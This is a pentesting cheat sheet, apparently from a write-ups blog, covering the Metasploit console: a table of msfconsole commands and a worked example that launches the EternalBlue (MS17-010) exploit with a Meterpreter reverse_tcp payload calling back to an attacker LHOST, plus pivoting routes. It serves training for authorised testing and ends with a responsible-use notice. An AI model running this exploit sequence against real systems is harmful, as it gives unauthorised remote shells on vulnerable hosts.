root@sparrow:~/writeups$ cat metasploit.md
// Shells & Pivoting
Metasploit
22 Jul 2026
· 2 min read
Metasploit Framework is the most widely used exploitation platform in pentesting: it centralises thousands of exploits, payloads and auxiliary modules in an interactive console (
msfconsole), with a consistent workflow to search, configure and launch any of them.
| Type | CLI (interactive console) |
| Platform | Kali / Linux |

Basic flow
msfconsole
| Step | Command |
|---|---|
| 1. Search for the exploit | search <service> — e.g. search smb |
| 2. Filter by type/name | search type:exploit name:tomcat |
| 3. Select the module | use <module> — e.g. use exploit/windows/smb/ms17_010_eternalblue |
| 4. View module info | info |
| 5. View required options | show options |
| 6. Set the target | set RHOSTS <IP> |
| 7. View/pick payload | show payloads / set payload <path> |
| 8. Set LHOST | set LHOST <your IP> |
| 9. Run | exploit (exploits) / run (auxiliary) |
msfconsole commands
| Command | What it does |
|---|---|
search <term> | Searches modules (exploits, auxiliary, payloads...) |
use <module> | Selects a module to configure it |
info | Detailed info about the loaded module |
show options | Lists required/optional variables (RHOST, RPORT, PAYLOAD...) |
show advanced | Advanced options for the module |
show payloads | Payloads compatible with the loaded module |
set <VAR> <value> | Sets a variable (LHOST, LPORT, RHOST...) |
setg <VAR> <value> | Sets the variable globally (persists across modules) |
unset <VAR> | Removes a configured variable |
back | Undoes use and returns to the main prompt |
check | Tests if the target is vulnerable without exploiting (if supported) |
exploit / run | Runs the module (exploit on exploits, run on auxiliary) |
exploit -j | Runs in the background as a job |
jobs | Lists running jobs (jobs -v for detail) |
kill -j <id> | Kills a job by ID |
sessions -l | Lists active sessions (meterpreter, shell) |
sessions -i <id> | Interacts with a specific session |
background | Sends the current session/module to the background |
route add <subnet> <mask> <session> | Adds a pivoting route through a session |
reload_all | Reloads modules (after adding/updating externally) |
spool <file> / spool off | Logs the msfconsole session to a file |
help / ? | General help |
exit / quit | Exit msfconsole |
Step-by-step example — Windows Meterpreter (MS17-010)
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.50
set LHOST 10.0.0.5
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
sessions -l
sessions -i 1
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.